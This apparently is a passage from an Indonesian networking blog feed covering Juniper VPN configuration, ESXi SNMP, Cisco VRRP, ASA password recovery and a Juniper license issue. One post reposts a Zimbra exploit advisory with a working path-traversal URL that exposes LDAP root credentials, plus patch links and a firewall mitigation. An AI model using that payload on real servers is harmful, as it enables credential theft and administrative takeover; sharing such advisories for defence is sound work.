root# set security ipsec vpn ike-vpn ike ipsec-policy vpn-policy1
root# set security ipsec vpn ike-vpn bind-interface st0.0

10. Konfigurasi Security Policy untuk tunnel raffik di 2 sisi dari zone trust ke vpn dan sebaliknya:

[edit security policies from-zone trust to-zone vpn]
root# set policy vpn-tr-vpn match source-address local-net
root# set policy vpn-tr-vpn match destination-address remote-net
root# set policy vpn-tr-vpn match application any
root# set policy vpn-tr-vpn then permit

[edit security policies from-zone vpn to-zone trust]
root# set policy vpn-vpn-tr match source-address remote-net
root# set policy vpn-vpn-tr match destination-address local-net
root# set policy vpn-vpn-tr match application any
root# set policy vpn-vpn-tr then permit

11. Konfigurasi source NAT rule dan security policy.

[edit security nat source rule-set nat-out]
root# set from zone trust
root# set to zone untrust
root# set rule interface-nat match source-address 192.168.168.0/24
root# set rule interface-nat match destination-address 0.0.0.0/0
root# set rule interface-nat then source-nat interface

[edit security policies from-zone trust to-zone untrust]
root# set policy any-permit match source-address any
root# set policy any-permit match destination-address any
root# set policy any-permit match application any
root# set policy any-permit then permit

12.Konfigurasi tcp-mss TCP traffic tunnel VPN . dengan value of 1350 yang disarankan Ethernet-based networks dengan MTU 1500. Untuk lebih jelasnya mungkin bisa browsing mengenai tcp-mss atau bias di baca di knowledge base juniper.

root# set security flow tcp-mss ipsec-vpn mss 1350

Selesai , kita lanjut konfiguasi di SSG20. Sebenarnya dari konfigurasi tidak ada yang di bedakan hanya saja menyesuaikan dengan topology diatas dan langkah yang hampir sama.

set zone name "VPN"
set interface ethernet0/0 zone "Untrust"
set interface ethernet0/1 zone "Trust"
set interface "tunnel.1" zone "VPN"
set interface ethernet0/0 ip 1.1.1.2/30
set interface ethernet0/0 route
set interface ethernet0/1 ip 192.168.168.1/24
set interface ethernet0/1 route
set interface tunnel.1 ip 10.11.11.11/24
set flow tcp-mss 1350
set address "Trust" "192.168.168-net" 192.168.168.0 255.255.255.0
set address "VPN" "10.10.10-net" 10.10.10.0 255.255.255.0
set ike gateway "corp-ike" address 1.1.1.1 Main outgoing-interface ethernet0/0 preshare "secretkey" sec-level standard
set vpn "corp-vpn" gateway "corp-ike" replay tunnel idletime 0 sec-level standard
set vpn "corp-vpn" monitor optimized rekey
set vpn "corp-vpn" bind interface tunnel.1
set policy from "Trust" to "Untrust" "ANY" "ANY" "ANY" nat src permit
set policy from "Trust" to "VPN" "192.168.168-net" "10.10.10-net" "ANY" permit
set policy from "VPN" to "Trust" "10.10.10-net" "192.168.168-net" "ANY" permit
set route 10.10.10.0/24 interface tunnel.1
set route 0.0.0.0/0 interface ethernet0/0 gateway 1.1.1.1

Verifikasi hasil konfigurasi yang sudah kita buat. 1. Kita check status VPN di SRX dengan melihat IKE phase 1 security association dan Internet Key Exchange (IKE) (phase 1) security associations dengan CLI show security ike security-associations.

- Jika kita show security ike security-associations dan output nya remote address 1.1.1.2 dan status UP berarti VPN yang kita buat sudah terhubung .

- Tapi jika status masih DOWN kita check IKE SA kemungkinan masalah berada di phase 1 check ulang apakah sudah benar konfigurasi di phase 1. Check Ulang remote IP address nya, IKE Policy dan interfaces pastikan semua sudah sesuai topology.

2. Verifikasi status IPsec (phase 2). setelah IKE phase 1 di verifikasi, kita jalankan command show security ipsec security-associations untuk melihat status IKE (phase 2) security associations dengan verifikasi sebagai berikut :
- show security ipsec security-associations command output 1 IPsec security association (SA) peer dan dengan default port 500, tanpan NAT traversall (nat-traversal default port 4500 atau random port diatas nya).
- security parameter index (SPI) digunakan di dua sisi, lifetime dalam hitungan detik , dan usage limits atau lifesize dalam hitungan kilobytes.
- Kolom Mon mengacu pada status VPN. jika VPN monitoring di enable, kemudian akan tampil U (up) atau D (down). Atau tanda (-) berarti VPN monitoring tidak diaktifkan dalam SA ini.
- vsys selalu menunjukan 0/root, dan ID number 131073. Dan nilai index unik untuk setiap SA IPsec.

show security ipsec security-associations index 131073 detail kita dapat melihat Local Identity dan Remote Identity.

- Jika tidak ada IPsec SA , check ke phase 2 proposals.

3. Check statistics dan errors untuk IPsec SA. show security ipsec statistics index 131073 command check Encapsulating Security Payload (ESP) dan Authentication Header (AH) counters dan check apakah ada pesan errors dalam IPsec security association nya.

4. Kita test Trafik dari Corp Office Router ke host menggunakan source interface LAN dan sebaliknya.

Demikian Semoga Bermanfaat.

Sumber :

http://www.juniper.net/techpubs/software/junos-security/junos-security10.2/junos-security-swconfig-security/topic-40774.html

http://kb.juniper.net/InfoCenter/index?page=content&id=KB4124

http://packetlife.net/blog/2011/aug/15/policy-based-vs-route-based-vpns-part-1/

Konfigurasi SNMP VMware Esxi Menggunakan vSphere CLI

noreply@blogger.com (Anonymous) — Tue, 17 Dec 2013 10:59:00 +0000

Assalamualaikum Wr Wb

Tidak bosan bosan nya cuma ingin posting sebagai arsip belajar dan sharing , kali ini ingin share bagaimana konfigurasi SNMP VMware esxi menggunakan vSphere CLI.

vSphere CLI adalah kumpulan perintah yang berisi sistem administrasi yang dapat kita jalankan untuk server ESX/ESXi kita, meliputi perintah set esxcli , vicfg dan perintah lainnya. vSphere CLI sendiri dikembangkan dengan bahasa Pemrograman PERL.

bila ingin mencoba nya bisa mendownload di web VMware langsung.

https://my.vmware.com/web/vmware/details?downloadGroup=VCLI550&productId=352

dan contoh nya sebagai berikut :

pada umumnya untuk konfigurasi SNMP sama saja kita butuh nama community dari SNMP itu sendiri.

masuk ke directory bin vSphere CLI dan ketik command :

vicfg-snmp.pl --server hostname --username username -password password -c nama_communitynya

vicfg-snmp.pl --server hostname --username username --password password --show

setelah itu kita enable service SNMP nya:

vicfg-snmp.pl --server hostname --username username --password password --enable

setelah itu kita add di NMS kita , di sini ane coba pakai Cacti 0.8.8 dengan template VMware.

selesai semoga bermanfaat :D

Wassalamualaikum Wr Wb.

Zimbra 0day exploit / Privilege escalation via LFI

noreply@blogger.com (Anonymous) — Sun, 15 Dec 2013 08:38:00 +0000

Assalamualaikum Wr Wb

Sekedar mengingat kan bagi teman" yang kantor/tempat kerja memakai mail server zimbra.

0day Exploit Zimbra :

# Exploit Title: Zimbra 0day exploit / Privilegie escalation via LFI
# Date: 06 Dec 2013
# Exploit Author: rubina119
# Contact Email : rubina119[at]gmail.com
# Vendor Homepage: http://www.zimbra.com/
# Version: 2009, 2010, 2011, 2012 and early 2013 versions are afected,
# Tested on: Centos(x), Ubuntu.
# CVE : No CVE, no patch just 0Day
# State : Critical

# Mirror: http://www.exploit-db.com/sploits/zimbraexploit_rubina119.zip

---------------Description-----------------

This script exploits a Local File Inclusion in
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
which allows us to see localconfig.xml
that contains LDAP root credentials wich allow us to make requests in
/service/admin/soap API with the stolen LDAP credentials to create user
with administration privlegies
and gain acces to the Administration Console.

LFI is located at :
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml

Example :

https://mail.example.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml

or

https://mail.example.com:7071/zimbraAdmin/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml

----------------Exploit-----------------

Before use this exploit, target server must have admin console port open
"7071" otherwise it won't work.

use the exploit like this :

ruby run.rb -t mail.example.com -u someuser -p Test123_23

[*] Looking if host is vuln....
[+] Host is vuln exploiting...
[+] Obtaining Domain Name
[+] Creating Account
[+] Elevating Privileges
[+] Login Credentials
    [*] Login URL : https://mail.example.com:7071/zimbraAdmin/
    [*] Account   : someuser@example.com
    [*] Password  : Test123_23
[+] Successfully Exploited !

The number of servers vuln are huge like 80/100.

This is only for educational purpouses.

sumber : http://www.exploit-db.com/exploits/30085/

Manual Patchnya bisa di liat disini panduan dan informasinya seperti yang di posting mas vavai di milist Id Zimbra :

A notification for this issue was published to the Zimbra Support Portal on Feb 26, 2013: https://support.zimbra.com/node/346
Also, a notification was included in these Release Notes:

* 8.0.2 Patch 1: http://files2.zimbra.com/website/docs/8.0/ZCS_Patch_8_0_2_r1.pdf
o February 19, 2013: Patch 8.0.2 P1 patch fixes the following bug: Bug 80338 Security Fix
* 7.2.2 Patch 2: http://files2.zimbra.com/website/docs/7.2/ZCS_Patch_7_2_2_r1.pdf
o February 19, 2013: Patch 7.2.2 P2 patch fixes the following bug: Bug 80338 Security Fix

atau bisa close port 7071 admin zimbra di sisi firewall/iptables nya :

iptables -A INPUT -m state --state NEW -p tcp -m tcp --dport 7071  -j DROP

Wassalamu alaikum semoga menjadi pembelajaran

Router Redundancy part 1 "VRRP (Virtual Router Redundancy Protocol)"

noreply@blogger.com (Anonymous) — Sun, 15 Dec 2013 07:58:00 +0000

Assalamualaikum Wr Wb

disini ane mau share sekalin dijadiin arsip belajar mengenai Router Redundancy

jadi apa sih router redundancy nah sebelumnya karena ane sendiri newbie ane jelasin apa yang konsep ane tangkap mengenai redundancy,

redudancy yang nanti nya erat kaitanya dengan HA (High Avaibility) di dalam sebuah network jadi apabila salah satu link down packet data/ Traffic akan tetap bisa lewat. dan bisa kita implementasikan di switch dan router. disini ane kan coba router redudancy dimana terdiri dari beberapa router yang terkoneksi satu sama lain tapi saat salah satu Router Down (Main) akan di gantikan dengan Router yang stanby (backup).

dalam redudancy ada 3 redundance yang biasa di gunakan :

- VRRP (Virtual Router Redudancy Protocol)
- HSRP (Hot Stanby Redudancy Protocol)
- GLBP (Gateway Load Balancing Protol)

dan disini ane akan coba bahas mengenai redudancy menggunakan VRRP

jadi apa sih VRRP ?

VRRP (Virtual Router Redundancy Protocol)

Merupakan standar IEEE, jadi open standar. Virtual Router atau VRRP Group merupakan sekumpulan router yang difungsikan untuk kebutuhan redundancy seperti halnya Active/Standy device pada HSRP, VRRP juga akan ada satu device yang berperan sebagai master dan beberapa router yang akan berfungsi sebagai backup. Pada VRRP, Router Master prioritynya diset 255, sedangkan pada Backup diset antara 1-254, dengan nilai default prioritynya adalah 100 Pada VRRP, Master akan mengirimkan advertisement (seperti hello message) setiap 1 detik menggunakan multicast 224.0.0.18 port 112 Apabila router Master mengalami down, maka tidak ada advertisement yang dikirimkan, sehingga router Backup akan menunggu selama Master Down Interval yang lamanya tiga kali waktu advertisement ditambah skew time (skew time = (256 – priority) / 256 ). Selanjutnya router Backup dgn dengan nilai priority tinggi akan menjadi router Master Load balancing bisa dilakukan dengan pengaturan VRRP Group, misalnya ada dua router, router A difungsikan sebagai Master VRRP group 1 sekaligus Backup VRRP Group 2 dan sebaliknya. Namun demikian seperti halnya HSRP, sebagian host akan diset gatewaynya ke IP master VRRP Group 1 dan sebagian diset gatewaynya ke IP Master VRRP Group 2 Support MPLS, VPN, VLAN.

langsung saja kita implemenasikan dengan topology sebagai berikut :

Di sini kita akan coba membuat redudancy link di mana 2 host akan tetap terkoneksi ke gateway dan interface loopback yang berada di Router 1 dan disini ane terapkan Routing OSPF teman-teman bisa gunakan routing lain.

Konfigurasi di R1 :

interface Loopback0
ip address 1.1.1.1 255.255.255.255
shutdown
!
interface FastEthernet0/0
description "To Router1"
ip address 12.12.12.1 255.255.255.0
duplex auto
speed auto
!
interface FastEthernet0/1
description "To Router2"
ip address 13.13.13.1 255.255.255.0
duplex auto
speed auto
!
router ospf 1
log-adjacency-changes
network 0.0.0.0 255.255.255.255 area 0

Konfigurasi R2 :

!
interface FastEthernet0/0
ip address 12.12.12.2 255.255.255.0
duplex auto
speed auto
!
interface FastEthernet0/1
ip address 23.23.23.2 255.255.255.0
duplex auto
speed auto
vrrp 1 ip 23.23.23.23
vrrp 1 priority 110
vrrp 1 authentication md5 key-string cisco
!
router ospf 1
log-adjacency-changes
network 0.0.0.0 255.255.255.255 area 0
!

pada int Fa0/1 pada Router 2 yang menuju ke Host 1 di pasang virtual ip yang nantinya digunakan sebagai gateway dengan priority 110.

Konfigurasi R3 :

interface FastEthernet0/0

ip address 13.13.13.3 255.255.255.0

duplex auto

speed auto

interface FastEthernet0/1

ip address 23.23.23.3 255.255.255.0

duplex auto

speed auto

vrrp 1 ip 23.23.23.23

vrrp 1 authentication md5 key-string cisco

router ospf 1

log-adjacency-changes

network 0.0.0.0 255.255.255.255 area 0

Selesai kita Verifikasi VRRP di R2 dan R3 :

kita coba simulasi ping ke gateway apabila R2 sebagai Master maka seharus nya traffic akan melewati R2 untuk mengetahui nya kita aktfkan debug ip icmp di R2 dan tes ping dari 2 Host.

dan betul bahwa semua traffic masih menuju R2 sebagai VRRP Master. coba kita shutdown interface fa0/1 di R2. apakah traffic berpindah ke R3 sebagai backup sebelumnya ?

test ping ke interface loopback di R1 dengan R2 sebagai master :

Video Tutorial nya :

sekian semoga bermanfaat

Wassalmualaikum Wr Wb .

Recovery Password Cisco ASA 5510 Series

noreply@blogger.com (Anonymous) — Tue, 10 Dec 2013 11:08:00 +0000

Assalamualaikum Wr Wb.

hari ini ane coba buat post bagaimana kita recovery password di cisco ASA 5510 Series, bagi yang sudah expert bisa di skip saja :D ini cuma bagi newbie yg masih belajar kaya ane aja.

Ok kita berasumsi kita lupa dengan password kita dan kita coba masuk ke ROMON Cisco ASA dan merubah default value "confreg".

Restart ASA (bisa tekan tombol ON/OFF di belakang router nya)

selama Router Booting tekan tombol ESC(escape) di keyboard sampai masuk ke Rommon Mode. yang nantinya kita bypass startup-config router dan kita ubah config register di router nya.

rommon #0> confreg

Current Configuration Register: 0x00000001
Configuration Summary:
  boot default image from Flash

Do you wish to change this configuration? y/n [n]: y
enable boot to ROMMON prompt? y/n [n]:
enable TFTP netboot? y/n [n]:
enable Flash boot? y/n [n]:
select specific Flash image index? y/n [n]:
disable system configuration? y/n [n]: y
go to ROMMON prompt if netboot fails? y/n [n]:
enable passing NVRAM file specs in auto-boot mode? y/n [n]:
disable display of BREAK or ESC key prompt during auto-boot? y/n [n]:

Current Configuration Register: 0x00000040
Configuration Summary:
  boot ROMMON
  ignore system configuration

Update Config Register (0x40) in NVRAM...

rommon #1> boot

untuk opsi nya tinggal mengikuti langkah di atas dan jangan lupa untuk mencatat Config Register nya "0x00000001" yang nantinya bila kita sudah selesai kita bisa mengembalikan lagi ke default confreg nya. setelah itu kita reload dengan ketik command "boot" di rommon dan akan masuk ke router nya ketik "enable" dan tanpa password [enter].

ciscoasa> en
Password: [enter]
ciscoasa#

setelah itu kita copy dari startup-config ke running-config

ciscoasa# copy startup-config running-config

Destination filename [running-config]?


Cryptochecksum (unchanged): ab580f48 aeed7459 2da4751b b0061ac3

1726 bytes copied in 0.50 secs
ciscoasa#

setelah itu kita beri password enable nya

ciscoasa# conf t
ciscoasa(config)# enable password Cisco

dan kita kembalikan ke default value confreg nya.

ciscoasa(config)# config-register 0x00000001

dan kita copy kembali dan reload router.

ciscoasa# copy running-config startup-config

ciscoasa# reload

dan berikut untuk Video Tutorialnya

Ok sekian semoga bermanfaat. Wassalamualaikum Wr Wb

[SRX] Unable to install the Enhanched Web filtering license Juniper SRX210HE

noreply@blogger.com (Anonymous) — Sat, 07 Dec 2013 04:34:00 +0000

Assalamualaikum Wr Wb

sesuai judul post nya kagak bisa add license Enhanced WF di juniper srx210he.

Kronologi nya ane disuruh Senior NE di kantor installasi juniper + register product sama pastiin UTM feature nya dah aktif dengan license yang dah dibeli .

oke juniper dah ane regist di web juniper nya . https://tools.juniper.net/subreg

dan saat masuk ke menu genereate license sudah bisa di generate license key nya

dan saat ane add di juniper nya ada pesan error :

dan saat itu ane heran + aneh soal nya semua dalam satu bundle semua license bisa ane add tetapi kenapa yg WF kagak bisa, timbul pertanyaan ? :D

ane coba tanya ke bagian purchasing buat minta Document JCare dll nya dan bener ada license WF nya tapi kok ga bisa ane add ke si junipret nya wkwkwk

yaudah ane buat ticket ke support juniper nya buat nanyain case ni :D dan cepet langsung di respond kita tinggal cantumin aja :

contract ID itu perangkat , serial number , type perangkat dan junos software nya versi berapa :D

ealah ternyata dah ada di KB Juniper . KB itu (Knowledge base) bukan (Keluarga Berencana) lhoo yaa :P

sebagai informasi versi junos juniper nya 11.2R4.3

yaudah coba ane upgrade, oiya sebelum kita upgrade tuh versi junos software jgan lupa lihat di JTAC mana versi yang disaranin buat perangkat sesuai series dan update nya, nya karena masing masing perangkat beda version dalam update nya.

http://kb.juniper.net/InfoCenter/index?page=content&id=KB21476&smlogin=true

okey kita login dan download software update nya :D

selesai kita upgrade si junos dan jgan lupa backup running config nya buat jaga jaga.

selesai kita upgrade dan ane coba add license nya lagi .

simple sih license nya cuma ga support di software junos nya tapi semoga bisa di jadikan ilmu yang bermanfaat , amiin

wassalamualaikum wr wb